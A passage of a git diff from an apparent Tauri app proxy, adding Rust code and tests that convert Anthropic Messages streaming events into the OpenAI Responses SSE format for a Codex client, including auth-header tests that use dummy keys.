+ assert_eq!(result.as_deref(), Some("claude-opus-4-1[1m]")); + assert_eq!( + body.get("model").and_then(|v| v.as_str()), + Some("claude-opus-4-1[1m]") + ); + } + + #[test] + fn test_anthropic_auth_defaults_to_bearer() { + // No meta.apiKeyField (defaults to ANTHROPIC_AUTH_TOKEN) → Authorization: Bearer only + let adapter = CodexAdapter::new(); + let provider = create_provider(json!({ + "apiFormat": "anthropic", + "auth": { "OPENAI_API_KEY": "sk-anthropic-key-123" } + })); + + let auth = adapter.extract_auth(&provider).unwrap(); + assert_eq!(auth.strategy, AuthStrategy::Bearer); + + let headers = adapter.get_auth_headers(&auth).unwrap(); + let names: Vec = headers + .iter() + .map(|(name, _)| name.as_str().to_string()) + .collect(); + assert_eq!(names, vec!["authorization".to_string()]); + } + + #[test] + fn test_anthropic_auth_x_api_key_when_selected() { + // meta.apiKeyField = ANTHROPIC_API_KEY → x-api-key only + let adapter = CodexAdapter::new(); + let mut provider = create_provider(json!({ + "apiFormat": "anthropic", + "auth": { "OPENAI_API_KEY": "sk-anthropic-key-123" } + })); + provider.meta = Some(crate::provider::ProviderMeta { + api_format: Some("anthropic".to_string()), + api_key_field: Some("ANTHROPIC_API_KEY".to_string()), + ..Default::default() + }); + + let auth = adapter.extract_auth(&provider).unwrap(); + assert_eq!(auth.strategy, AuthStrategy::Anthropic); + + let headers = adapter.get_auth_headers(&auth).unwrap(); + let names: Vec = headers + .iter() + .map(|(name, _)| name.as_str().to_string()) + .collect(); + assert_eq!(names, vec!["x-api-key".to_string()]); + } + #[test] fn test_build_url_origin_adds_v1() { let adapter = CodexAdapter::new(); diff --git a/src-tauri/src/proxy/providers/codex_responses_sse.rs b/src-tauri/src/proxy/providers/codex_responses_sse.rs new file mode 100644 index 000000000..d347e8a49 --- /dev/null +++ b/src-tauri/src/proxy/providers/codex_responses_sse.rs @@ -0,0 +1,399 @@ +//! Shared builders for the OpenAI Responses SSE envelope. +//! +//! The two Codex streaming converters — `streaming_codex_chat` (Chat Completions SSE → +//! Responses SSE) and `streaming_codex_anthropic` (Anthropic Messages SSE → Responses +//! SSE) — have completely different *input* state machines but must emit the identical +//! Responses event stream the Codex client understands. This module owns that output +//! envelope so the two converters cannot drift when an event's shape changes: a wire fix +//! lands here once instead of being mirrored in both files. +//! +//! Each function is pure — it takes primitives or a caller-built `item` `Value` and +//! returns the exact bytes the converters previously constructed inline. Item shapes that +//! vary per converter (including function, namespace, custom, and tool-search calls) +//! are supplied by the caller via the generic +//! `output_item_added` / `output_item_done` helpers. + +use bytes::Bytes; +use serde_json::{json, Value}; + +/// Serialize one Responses SSE event with the standard `event:`/`data:` framing. +pub(crate) fn sse_event(event: &str, data: Value) -> Bytes { + Bytes::from(format!( + "event: {event}\ndata: {}\n\n", + serde_json::to_string(&data).unwrap_or_default() + )) +} + +// --------------------------------------------------------------------------- +// Response lifecycle (created / in_progress / completed / failed) +// --------------------------------------------------------------------------- + +/// `response.created`, wrapping a caller-built `response` object (usage/created_at differ +/// per converter, so the caller supplies the whole object). +pub(crate) fn response_created(response: &Value) -> Bytes { + sse_event( + "response.created", + json!({ "type": "response.created", "response": response }), + ) +} + +/// `response.in_progress`. +pub(crate) fn response_in_progress(response: &Value) -> Bytes { + sse_event( + "response.in_progress", + json!({ "type": "response.in_progress", "response": response }), + ) +} + +/// `response.completed`. +pub(crate) fn response_completed(response: &Value) -> Bytes { + sse_event( + "response.completed", + json!({ "type": "response.completed", "response": response }), + ) +} + +/// `response.failed`. +pub(crate) fn response_failed(response: &Value) -> Bytes { + sse_event( + "response.failed", + json!({ "type": "response.failed", "response": response }), + ) +} + +// --------------------------------------------------------------------------- +// Generic output-item add/done (item value supplied by the caller) +// --------------------------------------------------------------------------- + +/// `response.output_item.added` with a caller-built item (message / reasoning / +/// function_call / custom_tool_call). +pub(crate) fn output_item_added(output_index: u32, item: &Value) -> Bytes { + sse_event( + "response.output_item.added", + json!({ + "type": "response.output_item.added", + "output_index": output_index, + "item": item + }), + ) +} + +/// `response.output_item.done` with a caller-built item. +pub(crate) fn output_item_done(output_index: u32, item: &Value) -> Bytes { + sse_event( + "response.output_item.done", + json!({ + "type": "response.output_item.done", + "output_index": output_index, + "item": item + }), + ) +} + +// --------------------------------------------------------------------------- +// Assistant message (text) lifecycle +// --------------------------------------------------------------------------- + +/// `response.output_item.added` for an in-progress assistant message. +pub(crate) fn message_item_added(output_index: u32, item_id: &str) -> Bytes { + output_item_added( + output_index, + &json!({ + "id": item_id, + "type": "message", + "status": "in_progress", + "role": "assistant", + "content": [] + }), + ) +} + +/// `response.content_part.added` for the (empty) output_text part of a message. +pub(crate) fn message_content_part_added(output_index: u32, item_id: &str) -> Bytes { + sse_event( + "response.content_part.added", + json!({ + "type": "response.content_part.added", + "item_id": item_id, + "output_index": output_index, + "content_index": 0, + "part": { "type": "output_text", "text": "", "annotations": [] } + }), + ) +} + +/// `response.output_text.delta`. +pub(crate) fn output_text_delta(output_index: u32, item_id: &str, delta: &str) -> Bytes { + sse_event( + "response.output_text.delta", + json!({ + "type": "response.output_text.delta", + "item_id": item_id, + "output_index": output_index, + "content_index": 0, + "delta": delta + }), + ) +} + +/// The completed assistant-message item value. +pub(crate) fn message_item(item_id: &str, text: &str) -> Value { + json!({ + "id": item_id, + "type": "message", + "status": "completed", + "role": "assistant", + "content": [{ "type": "output_text", "text": text, "annotations": [] }] + }) +} + +/// Close an assistant message: emits `output_text.done` → `content_part.done` → +/// `output_item.done`, and returns the completed item so the caller can record it. +pub(crate) fn message_close(output_index: u32, item_id: &str, text: &str) -> (Vec, Value) { + let item = message_item(item_id, text); + let events = vec![ + sse_event( + "response.output_text.done", + json!({ + "type": "response.output_text.done", + "item_id": item_id, + "output_index": output_index, + "content_index": 0, + "text": text + }), + ), + sse_event( + "response.content_part.done", + json!({ + "type": "response.content_part.done", + "item_id": item_id, + "output_index": output_index, + "content_index": 0, + "part": { "type": "output_text", "text": text, "annotations": [] } + }), + ), + output_item_done(output_index, &item), + ]; + (events, item) +} + +// --------------------------------------------------------------------------- +// Reasoning (summary) lifecycle +// --------------------------------------------------------------------------- + +/// `response.output_item.added` for an in-progress reasoning item. +pub(crate) fn reasoning_item_added(output_index: u32, item_id: &str) -> Bytes { + output_item_added( + output_index, + &json!({ + "id": item_id, + "type": "reasoning", + "status": "in_progress", + "summary": [] + }), + ) +} + +/// `response.reasoning_summary_part.added` for the (empty) summary part. +pub(crate) fn reasoning_summary_part_added(output_index: u32, item_id: &str) -> Bytes { + sse_event( + "response.reasoning_summary_part.added", + json!({ + "type": "response.reasoning_summary_part.added", + "item_id": item_id, + "output_index": output_index, + "summary_index": 0, + "part": { "type": "summary_text", "text": "" } + }), + ) +} + +/// `response.reasoning_summary_text.delta`. +pub(crate) fn reasoning_summary_text_delta(output_index: u32, item_id: &str, delta: &str) -> Bytes { + sse_event( + "response.reasoning_summary_text.delta", + json!({ + "type": "response.reasoning_summary_text.delta", + "item_id": item_id, + "output_index": output_index, + "summary_index": 0, + "delta": delta + }), + ) +} + +/// The completed reasoning item value (note: no `status` field, matching both converters). +pub(crate) fn reasoning_item(item_id: &str, text: &str) -> Value { + json!({ + "id": item_id, + "type": "reasoning", + "summary": [{ "type": "summary_text", "text": text }] + }) +} + +/// Close a reasoning item: emits `reasoning_summary_text.done` → +/// `reasoning_summary_part.done` → `output_item.done`, and returns the completed item. +pub(crate) fn reasoning_close(output_index: u32, item_id: &str, text: &str) -> (Vec, Value) { + let item = reasoning_item(item_id, text); + let events = reasoning_close_with_item(output_index, item_id, text, &item, true); + (events, item) +} + +/// Close a reasoning item whose completed shape is supplied by the converter. +/// Anthropic uses this to attach opaque signed/redacted thinking in +/// `encrypted_content` while keeping the standard Responses event lifecycle. +pub(crate) fn reasoning_close_with_item( + output_index: u32, + item_id: &str, + text: &str, + item: &Value, + has_visible_summary: bool, +) -> Vec { + let mut events = Vec::new(); + if has_visible_summary { + events.extend([ + sse_event( + "response.reasoning_summary_text.done", + json!({ + "type": "response.reasoning_summary_text.done", + "item_id": item_id, + "output_index": output_index, + "summary_index": 0, + "text": text + }), + ), + sse_event( + "response.reasoning_summary_part.done", + json!({ + "type": "response.reasoning_summary_part.done", + "item_id": item_id, + "output_index": output_index, + "summary_index": 0, + "part": { "type": "summary_text", "text": text } + }), + ), + ]); + } + events.push(output_item_done(output_index, item)); + events +} + +// --------------------------------------------------------------------------- +// Tool-call argument streaming (item value supplied by the caller) +// --------------------------------------------------------------------------- + +/// `response.function_call_arguments.delta`. +pub(crate) fn function_call_arguments_delta( + output_index: u32, + item_id: &str, + delta: &str, +) -> Bytes { + sse_event( + "response.function_call_arguments.delta", + json!({ + "type": "response.function_call_arguments.delta", + "item_id": item_id, + "output_index": output_index, + "delta": delta + }), + ) +} + +/// `response.function_call_arguments.done`. +pub(crate) fn function_call_arguments_done( + output_index: u32, + item_id: &str, + arguments: &str, +) -> Bytes { + sse_event( + "response.function_call_arguments.done", + json!({ + "type": "response.function_call_arguments.done", + "item_id": item_id, + "output_index": output_index, + "arguments": arguments + }), + ) +} + +/// `response.custom_tool_call_input.delta` (Chat freeform tools only). +pub(crate) fn custom_tool_call_input_delta(output_index: u32, item_id: &str, delta: &str) -> Bytes { + sse_event( + "response.custom_tool_call_input.delta", + json!({ + "type": "response.custom_tool_call_input.delta", + "item_id": item_id, + "output_index": output_index, + "delta": delta + }), + ) +} + +/// `response.custom_tool_call_input.done` (Chat freeform tools only). +pub(crate) fn custom_tool_call_input_done(output_index: u32, item_id: &str, input: &str) -> Bytes { + sse_event( + "response.custom_tool_call_input.done", + json!({ + "type": "response.custom_tool_call_input.done", + "item_id": item_id, + "output_index": output_index, + "input": input + }), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn body(bytes: &Bytes) -> String { + String::from_utf8(bytes.to_vec()).unwrap() + } + + #[test] + fn sse_event_framing() { + let ev = sse_event("response.created", json!({ "a": 1 })); + assert_eq!(body(&ev), "event: response.created\ndata: {\"a\":1}\n\n"); + } + + #[test] + fn message_close_shapes_match_legacy() { + let (events, item) = message_close(2, "resp_1_msg", "hi"); + assert_eq!(events.len(), 3); + assert!(body(&events[0]).contains("\"type\":\"response.output_text.done\"")); + assert!(body(&events[0]).contains("\"text\":\"hi\"")); + assert!(body(&events[1]).contains("\"type\":\"response.content_part.done\"")); + assert!(body(&events[2]).contains("\"type\":\"response.output_item.done\"")); + assert_eq!(item["type"], "message"); + assert_eq!(item["status"], "completed"); + assert_eq!(item["content"][0]["text"], "hi"); + } + + #[test] + fn reasoning_close_item_has_no_status() { + let (events, item) = reasoning_close(0, "rs_1", "because"); + assert_eq!(events.len(), 3); + assert!(body(&events[0]).contains("\"type\":\"response.reasoning_summary_text.done\"")); + assert!(body(&events[1]).contains("\"type\":\"response.reasoning_summary_part.done\"")); + // The completed reasoning item intentionally carries no `status` field. + assert!(item.get("status").is_none()); + assert_eq!(item["summary"][0]["text"], "because"); + } + + #[test] + fn message_item_added_is_in_progress() { + let ev = message_item_added(0, "m1"); + let s = body(&ev); + assert!(s.contains("\"type\":\"response.output_item.added\"")); + assert!(s.contains("\"status\":\"in_progress\"")); + assert!(s.contains("\"role\":\"assistant\"")); + } + + #[test] + fn function_call_argument_events() { + assert!(body(&function_call_arguments_delta(1, "fc_x", "{\"a\":")) + .contains("\"type\":\"response.function_call_arguments.delta\"")); + assert!(body(&function_call_arguments_done(1, "fc_x", "{\"a\":1}")) + .contains("\"arguments\":\"{\\\"a\\\":1}\"")); + } +} diff --git a/src-tauri/src/proxy/providers/mod.rs b/src-tauri/src/proxy/providers/mod.rs index 7f3d8e1ac..83535c538 100644 --- a/src-tauri/src/proxy/providers/mod.rs +++ b/src-tauri/src/proxy/providers/mod.rs @@ -18,6 +18,7 @@ mod codex; pub(crate) mod codex_chat_common; pub mod codex_chat_history; pub mod codex_oauth_auth; +pub(crate) mod codex_responses_sse; pub mod copilot_auth; pub mod copilot_model_map; mod gemini; @@ -25,10 +26,12 @@ pub(crate) mod gemini_schema; pub mod gemini_shadow; pub mod models; pub mod streaming; +pub mod streaming_codex_anthropic; pub mod streaming_codex_chat; pub mod streaming_gemini; pub mod streaming_responses; pub mod transform; +pub mod transform_codex_anthropic; pub mod transform_codex_chat; pub mod transform_gemini; pub mod transform_responses; @@ -47,8 +50,9 @@ pub use claude::{ }; pub use codex::CodexAdapter; pub use codex::{ - apply_codex_chat_upstream_model, codex_provider_upstream_model, - resolve_codex_chat_reasoning_config, should_convert_codex_responses_to_chat, + apply_codex_chat_upstream_model, apply_codex_upstream_model, codex_provider_upstream_model, + resolve_codex_catalog_tool_profile, resolve_codex_chat_reasoning_config, + should_convert_codex_responses_to_anthropic, should_convert_codex_responses_to_chat, }; pub use gemini::GeminiAdapter; diff --git a/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs b/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs new file mode 100644 index 000000000..8c3870fc4 --- /dev/null +++ b/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs @@ -0,0 +1,1166 @@ +//! Anthropic Messages SSE → OpenAI Responses SSE conversion. +//! +//! The opposite direction of `streaming_responses.rs` (Responses SSE → Anthropic SSE): +//! here the Codex client speaks Responses, while the upstream gateway speaks the native +//! Anthropic Messages protocol. The Responses events emitted here have the same shape as +//! those in `streaming_codex_chat.rs` (Chat → Responses); the Codex client only recognizes +//! this set of events. + +use super::codex_responses_sse as sse; +use super::transform_codex_anthropic::{ + build_responses_usage_from_anthropic, map_anthropic_stop_reason_to_status, + responses_reasoning_item_from_anthropic_block, +}; +#[cfg(test)] +use super::transform_codex_anthropic::{ + decode_anthropic_thinking_block, ANTHROPIC_THINKING_ENCRYPTED_PREFIX, +}; +use super::transform_codex_chat::{ + response_tool_call_item_from_chat_name, response_tool_call_item_id_from_chat_name, + CodexToolContext, +}; +use super::transform_responses::sanitize_anthropic_tool_use_input_json; +use crate::proxy::json_canonical::canonicalize_tool_arguments_str; +use crate::proxy::sse::{strip_sse_field, take_sse_block}; +use bytes::Bytes; +use futures::stream::{Stream, StreamExt}; +use serde_json::{json, Map, Value}; +use std::collections::BTreeMap; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum BlockKind { + Text, + Tool, + Thinking, +} + +#[derive(Debug)] +struct BlockState { + kind: BlockKind, + output_index: u32, + item_id: String, + call_id: String, + name: String, + accum: String, + /// For `tool_use`: the `input` carried on `content_block_start` (compact JSON), + /// used as a fallback when the gateway sends the full input in the start event and + /// emits no `input_json_delta`. Empty otherwise. + start_input: String, + source_block: Value, + has_visible_summary: bool, + done: bool, +} + +struct AnthropicToResponsesState { + response_started: bool, + completed: bool, + response_id: String, + model: String, + next_output_index: u32, + blocks: BTreeMap, + output_items: Vec<(u32, Value)>, + anthropic_usage: Map, + stop_reason: Option, + tool_context: CodexToolContext, +} + +impl Default for AnthropicToResponsesState { + fn default() -> Self { + Self { + response_started: false, + completed: false, + response_id: "resp_ccswitch".to_string(), + model: String::new(), + next_output_index: 0, + blocks: BTreeMap::new(), + output_items: Vec::new(), + anthropic_usage: Map::new(), + stop_reason: None, + tool_context: CodexToolContext::default(), + } + } +} + +impl AnthropicToResponsesState { + fn with_tool_context(tool_context: CodexToolContext) -> Self { + Self { + tool_context, + ..Self::default() + } + } + + fn next_output_index(&mut self) -> u32 { + let index = self.next_output_index; + self.next_output_index += 1; + index + } + + fn responses_usage(&self) -> Value { + if self.anthropic_usage.is_empty() { + return json!({ + "input_tokens": 0, + "output_tokens": 0, + "total_tokens": 0, + "output_tokens_details": { "reasoning_tokens": 0 } + }); + } + build_responses_usage_from_anthropic(Some(&Value::Object(self.anthropic_usage.clone()))) + } + + fn base_response(&self, status: &str, output: Vec) -> Value { + json!({ + "id": self.response_id, + "object": "response", + "created_at": 0, + "status": status, + "model": self.model, + "output": output, + "usage": self.responses_usage() + }) + } + + fn merge_usage(&mut self, usage: &Value) { + if let Some(obj) = usage.as_object() { + for (key, value) in obj { + if value.is_null() { + continue; + } + self.anthropic_usage.insert(key.clone(), value.clone()); + } + } + } + + fn ensure_response_started(&mut self) -> Vec { + if self.response_started { + return Vec::new(); + } + self.response_started = true; + let response = self.base_response("in_progress", Vec::new()); + vec![ + sse::response_created(&response), + sse::response_in_progress(&response), + ] + } + + fn handle_message_start(&mut self, data: &Value) -> Vec { + if let Some(message) = data.get("message") { + if let Some(id) = message.get("id").and_then(|v| v.as_str()) { + self.response_id = if id.starts_with("resp_") { + id.to_string() + } else { + format!("resp_{id}") + }; + } + if let Some(model) = message.get("model").and_then(|v| v.as_str()) { + if !model.is_empty() { + self.model = model.to_string(); + } + } + if let Some(usage) = message.get("usage") { + self.merge_usage(usage); + } + } + self.ensure_response_started() + } + + fn handle_content_block_start(&mut self, data: &Value) -> Vec { + let mut events = self.ensure_response_started(); + let Some(index) = data.get("index").and_then(|v| v.as_u64()) else { + return events; + }; + let block = data.get("content_block").unwrap_or(&Value::Null); + let block_type = block.get("type").and_then(|t| t.as_str()).unwrap_or(""); + + match block_type { + "text" => { + let output_index = self.next_output_index(); + let item_id = format!("{}_msg_{output_index}", self.response_id); + events.push(sse::message_item_added(output_index, &item_id)); + events.push(sse::message_content_part_added(output_index, &item_id)); + self.blocks.insert( + index, + BlockState { + kind: BlockKind::Text, + output_index, + item_id, + call_id: String::new(), + name: String::new(), + accum: block + .get("text") + .and_then(Value::as_str) + .unwrap_or("") + .to_string(), + start_input: String::new(), + source_block: block.clone(), + has_visible_summary: false, + done: false, + }, + ); + } + "tool_use" => { + let output_index = self.next_output_index(); + let call_id = block.get("id").and_then(|v| v.as_str()).unwrap_or(""); + let name = block.get("name").and_then(|v| v.as_str()).unwrap_or(""); + // Some gateways put the full tool input on content_block_start and emit + // no input_json_delta; capture it as a fallback (see close_block). + let start_input = block + .get("input") + .filter(|v| v.as_object().map(|o| !o.is_empty()).unwrap_or(false)) + .map(|v| v.to_string()) + .unwrap_or_default(); + let item_id = + response_tool_call_item_id_from_chat_name(call_id, name, &self.tool_context); + let item = response_tool_call_item_from_chat_name( + &item_id, + "in_progress", + call_id, + name, + "", + None, + &self.tool_context, + ); + events.push(sse::output_item_added(output_index, &item)); + self.blocks.insert( + index, + BlockState { + kind: BlockKind::Tool, + output_index, + item_id, + call_id: call_id.to_string(), + name: name.to_string(), + accum: String::new(), + start_input, + source_block: block.clone(), + has_visible_summary: false, + done: false, + }, + ); + } + "thinking" | "redacted_thinking" => { + let output_index = self.next_output_index(); + let item_id = format!("rs_{}_{output_index}", self.response_id); + events.push(sse::reasoning_item_added(output_index, &item_id)); + let has_visible_summary = block_type == "thinking"; + if has_visible_summary { + events.push(sse::reasoning_summary_part_added(output_index, &item_id)); + } + self.blocks.insert( + index, + BlockState { + kind: BlockKind::Thinking, + output_index, + item_id, + call_id: String::new(), + name: String::new(), + accum: block + .get("thinking") + .and_then(Value::as_str) + .unwrap_or("") + .to_string(), + start_input: String::new(), + source_block: block.clone(), + has_visible_summary, + done: false, + }, + ); + } + _ => {} + } + + events + } + + fn handle_content_block_delta(&mut self, data: &Value) -> Vec { + let Some(index) = data.get("index").and_then(|v| v.as_u64()) else { + return Vec::new(); + }; + let delta = data.get("delta").unwrap_or(&Value::Null); + let delta_type = delta.get("type").and_then(|t| t.as_str()).unwrap_or(""); + + let Some(block) = self.blocks.get_mut(&index) else { + return Vec::new(); + }; + let output_index = block.output_index; + let item_id = block.item_id.clone(); + + match delta_type { + "text_delta" => { + let text = delta.get("text").and_then(|t| t.as_str()).unwrap_or(""); + block.accum.push_str(text); + vec![sse::output_text_delta(output_index, &item_id, text)] + } + "input_json_delta" => { + let partial = delta + .get("partial_json") + .and_then(|t| t.as_str()) + .unwrap_or(""); + block.accum.push_str(partial); + // The Read tool needs to be sanitized at close time, to avoid emitting pages:"" deltas mid-stream + if block.name == "Read" || self.tool_context.is_custom_tool_chat_name(&block.name) { + return Vec::new(); + } + vec![sse::function_call_arguments_delta( + output_index, + &item_id, + partial, + )] + } + "thinking_delta" => { + let text = delta.get("thinking").and_then(|t| t.as_str()).unwrap_or(""); + block.accum.push_str(text); + block.source_block["thinking"] = json!(block.accum); + vec![sse::reasoning_summary_text_delta( + output_index, + &item_id, + text, + )] + } + "signature_delta" => { + if let Some(signature) = delta.get("signature").and_then(Value::as_str) { + block.source_block["signature"] = json!(signature); + } + Vec::new() + } + _ => Vec::new(), + } + } + + fn handle_content_block_stop(&mut self, data: &Value) -> Vec { + let Some(index) = data.get("index").and_then(|v| v.as_u64()) else { + return Vec::new(); + }; + self.close_block(index) + } + + fn close_block(&mut self, index: u64) -> Vec { + let Some(block) = self.blocks.get_mut(&index) else { + return Vec::new(); + }; + if block.done { + return Vec::new(); + } + block.done = true; + let output_index = block.output_index; + let item_id = block.item_id.clone(); + let kind = block.kind; + let text = block.accum.clone(); + let call_id = block.call_id.clone(); + let name = block.name.clone(); + let source_block = block.source_block.clone(); + let has_visible_summary = block.has_visible_summary; + + match kind { + BlockKind::Text => { + let (events, item) = sse::message_close(output_index, &item_id, &text); + self.output_items.push((output_index, item)); + events + } + BlockKind::Tool => { + // Prefer streamed input_json_delta; fall back to the input carried on + // content_block_start when the gateway emitted no deltas (mirrors the + // non-streaming aggregator's precedence in transform_codex_anthropic). + let raw_input = if text.trim().is_empty() { + block.start_input.clone() + } else { + text + }; + let arguments = if raw_input.trim().is_empty() { + "{}".to_string() + } else if name == "Read" { + sanitize_anthropic_tool_use_input_json("Read", &raw_input) + } else { + canonicalize_tool_arguments_str(&raw_input) + }; + let is_custom_tool = self.tool_context.is_custom_tool_chat_name(&name); + let item = response_tool_call_item_from_chat_name( + &item_id, + "completed", + &call_id, + &name, + &arguments, + None, + &self.tool_context, + ); + let mut events = Vec::new(); + if is_custom_tool { + let input = item.get("input").and_then(Value::as_str).unwrap_or(""); + events.push(sse::custom_tool_call_input_done( + output_index, + &item_id, + input, + )); + } else { + events.push(sse::function_call_arguments_done( + output_index, + &item_id, + &arguments, + )); + } + events.push(sse::output_item_done(output_index, &item)); + self.output_items.push((output_index, item)); + events + } + BlockKind::Thinking => { + let mut source_block = source_block; + if source_block.get("type").and_then(Value::as_str) == Some("thinking") { + source_block["thinking"] = json!(text); + } + let Some(item) = + responses_reasoning_item_from_anthropic_block(&item_id, &source_block) + else { + return Vec::new(); + }; + let events = sse::reasoning_close_with_item( + output_index, + &item_id, + &text, + &item, + has_visible_summary, + ); + self.output_items.push((output_index, item)); + events + } + } + } + + fn handle_message_delta(&mut self, data: &Value) -> Vec { + if let Some(reason) = data.pointer("/delta/stop_reason").and_then(|v| v.as_str()) { + self.stop_reason = Some(reason.to_string()); + } + if let Some(usage) = data.get("usage") { + self.merge_usage(usage); + } + Vec::new() + } + + /// Whether any partial output was produced (completed items, buffered text, or a + /// started tool call). Used to distinguish a truncated-with-output stream (report + /// incomplete) from one that produced nothing (report failed). + fn has_substantive_output(&self) -> bool { + !self.output_items.is_empty() + || self.blocks.values().any(|b| { + !b.accum.trim().is_empty() + || !b.call_id.trim().is_empty() + || !b.name.trim().is_empty() + }) + } + + fn finalize(&mut self) -> Vec { + if self.completed { + return Vec::new(); + } + let mut events = self.ensure_response_started(); + + // Close out any blocks that are still open + let open: Vec = self + .blocks + .iter() + .filter(|(_, b)| !b.done) + .map(|(index, _)| *index) + .collect(); + for index in open { + events.extend(self.close_block(index)); + } + + let (status, incomplete_reason) = + map_anthropic_stop_reason_to_status(self.stop_reason.as_deref()); + + let mut output = self.output_items.clone(); + output.sort_by_key(|(output_index, _)| *output_index); + let output: Vec = output.into_iter().map(|(_, item)| item).collect(); + + let mut response = self.base_response(status, output); + if let Some(reason) = incomplete_reason { + response["incomplete_details"] = json!({ "reason": reason }); + } + + events.push(sse::response_completed(&response)); + self.completed = true; + events + } + + fn failed_event(&mut self, message: String, error_type: Option) -> Option { + if self.completed { + return None; + } + self.completed = true; + let mut error = json!({ "message": message }); + if let Some(error_type) = error_type.filter(|value| !value.is_empty()) { + error["type"] = json!(error_type); + } + let mut output = self.output_items.clone(); + output.sort_by_key(|(output_index, _)| *output_index); + let output: Vec = output.into_iter().map(|(_, item)| item).collect(); + let mut response = self.base_response("failed", output); + response["error"] = error; + Some(sse::response_failed(&response)) + } +} + +fn extract_anthropic_sse_error(value: &Value) -> (String, Option) { + let error = value.get("error").unwrap_or(value); + let message = error + .as_str() + .map(ToString::to_string) + .or_else(|| { + error + .get("message") + .and_then(|v| v.as_str()) + .map(ToString::to_string) + }) + .unwrap_or_else(|| error.to_string()); + let error_type = error + .get("type") + .and_then(|v| v.as_str()) + .map(ToString::to_string); + (message, error_type) +} + +fn process_anthropic_sse_block( + state: &mut AnthropicToResponsesState, + block: &str, +) -> (Vec, bool) { + if block.trim().is_empty() { + return (Vec::new(), false); + } + let mut event_name: Option = None; + let mut data_parts: Vec = Vec::new(); + for line in block.lines() { + if let Some(event) = strip_sse_field(line, "event") { + event_name = Some(event.trim().to_string()); + } + if let Some(data) = strip_sse_field(line, "data") { + data_parts.push(data.to_string()); + } + } + if data_parts.is_empty() { + return (Vec::new(), false); + } + let Ok(data) = serde_json::from_str::(&data_parts.join("\n")) else { + return (Vec::new(), false); + }; + let msg_type = data + .get("type") + .and_then(Value::as_str) + .map(str::to_string) + .or(event_name) + .unwrap_or_default(); + + let events = match msg_type.as_str() { + "message_start" => state.handle_message_start(&data), + "content_block_start" => state.handle_content_block_start(&data), + "content_block_delta" => state.handle_content_block_delta(&data), + "content_block_stop" => state.handle_content_block_stop(&data), + "message_delta" => state.handle_message_delta(&data), + "message_stop" => state.finalize(), + "error" => { + let (message, error_type) = extract_anthropic_sse_error(&data); + return ( + state + .failed_event(message, error_type) + .into_iter() + .collect(), + true, + ); + } + _ => Vec::new(), + }; + (events, false) +} + +fn json_document_candidate(input: &str) -> Option<&str> { + let trimmed = input.trim_start_matches(|ch: char| ch.is_whitespace() || ch == '\u{feff}'); + matches!(trimmed.as_bytes().first(), Some(b'{') | Some(b'[')).then_some(trimmed) +} + +/// Convert a complete non-streaming Anthropic message (or error envelope) into +/// the same Responses SSE lifecycle emitted by the live stream converter. Some +/// compatible gateways ignore `stream:true` and return JSON with HTTP 200. +pub(crate) fn responses_sse_events_from_anthropic_message( + body: &Value, + tool_context: CodexToolContext, +) -> Vec { + let mut state = AnthropicToResponsesState::with_tool_context(tool_context); + if body.get("type").and_then(Value::as_str) == Some("error") || body.get("error").is_some() { + let (message, error_type) = extract_anthropic_sse_error(body); + return state + .failed_event(message, error_type) + .into_iter() + .collect(); + } + + let mut message_start = body.clone(); + message_start["content"] = json!([]); + let mut events = state.handle_message_start(&json!({ + "type": "message_start", + "message": message_start + })); + + if let Some(content) = body.get("content").and_then(Value::as_array) { + for (index, block) in content.iter().enumerate() { + let block_type = block.get("type").and_then(Value::as_str).unwrap_or(""); + let mut start_block = block.clone(); + match block_type { + "text" => start_block["text"] = json!(""), + "thinking" => start_block["thinking"] = json!(""), + _ => {} + } + events.extend(state.handle_content_block_start(&json!({ + "type": "content_block_start", + "index": index, + "content_block": start_block + }))); + + match block_type { + "text" => { + if let Some(text) = block.get("text").and_then(Value::as_str) { + events.extend(state.handle_content_block_delta(&json!({ + "type": "content_block_delta", + "index": index, + "delta": { "type": "text_delta", "text": text } + }))); + } + } + "thinking" => { + if let Some(thinking) = block.get("thinking").and_then(Value::as_str) { + events.extend(state.handle_content_block_delta(&json!({ + "type": "content_block_delta", + "index": index, + "delta": { "type": "thinking_delta", "thinking": thinking } + }))); + } + } + _ => {} + } + + events.extend(state.handle_content_block_stop(&json!({ + "type": "content_block_stop", + "index": index + }))); + } + } + + events.extend(state.handle_message_delta(&json!({ + "type": "message_delta", + "delta": { "stop_reason": body.get("stop_reason").cloned().unwrap_or(Value::Null) } + }))); + events.extend(state.finalize()); + events +} + +/// Convert the upstream Anthropic Messages SSE into the Responses SSE that Codex expects. +#[allow(dead_code)] +pub fn create_responses_sse_stream_from_anthropic( + stream: impl Stream> + Send + 'static, +) -> impl Stream> + Send { + create_responses_sse_stream_from_anthropic_with_context(stream, CodexToolContext::default()) +} + +pub(crate) fn create_responses_sse_stream_from_anthropic_with_context< + E: std::error::Error + Send + 'static, +>( + stream: impl Stream> + Send + 'static, + tool_context: CodexToolContext, +) -> impl Stream> + Send { + async_stream::stream! { + let mut buffer = String::new(); + let mut utf8_remainder: Vec = Vec::new(); + let mut state = AnthropicToResponsesState::with_tool_context(tool_context); + let mut stream_failed = false; + + tokio::pin!(stream); + + while let Some(chunk) = stream.next().await { + match chunk { + Ok(bytes) => { + crate::proxy::sse::append_utf8_safe(&mut buffer, &mut utf8_remainder, &bytes); + + // A few compatible gateways ignore stream:true and return one + // JSON document. Hold that body intact (including pretty-printed + // blank lines) until EOF instead of discarding it as SSE blocks. + if json_document_candidate(&buffer).is_none() { + while let Some(block) = take_sse_block(&mut buffer) { + let (events, failed) = process_anthropic_sse_block(&mut state, &block); + for event in events { + yield Ok(event); + } + if failed { + stream_failed = true; + break; + } + } + } + + if stream_failed { + break; + } + } + Err(e) => { + if let Some(event) = state.failed_event( + format!("Stream error: {e}"), + Some("stream_error".to_string()), + ) { + yield Ok(event); + } + stream_failed = true; + break; + } + } + } + + // Process a final event even when the upstream omitted the trailing blank + // line. This is common with buffering reverse proxies and must not discard + // the last delta or terminal message_stop. + if !stream_failed && !buffer.trim().is_empty() { + if !state.response_started { + if let Some(candidate) = json_document_candidate(&buffer) { + if let Ok(body) = serde_json::from_str::(candidate) { + for event in responses_sse_events_from_anthropic_message( + &body, + state.tool_context.clone(), + ) { + yield Ok(event); + } + state.completed = true; + } + } + } + if !state.completed { + let (events, failed) = process_anthropic_sse_block(&mut state, &buffer); + for event in events { + yield Ok(event); + } + stream_failed = 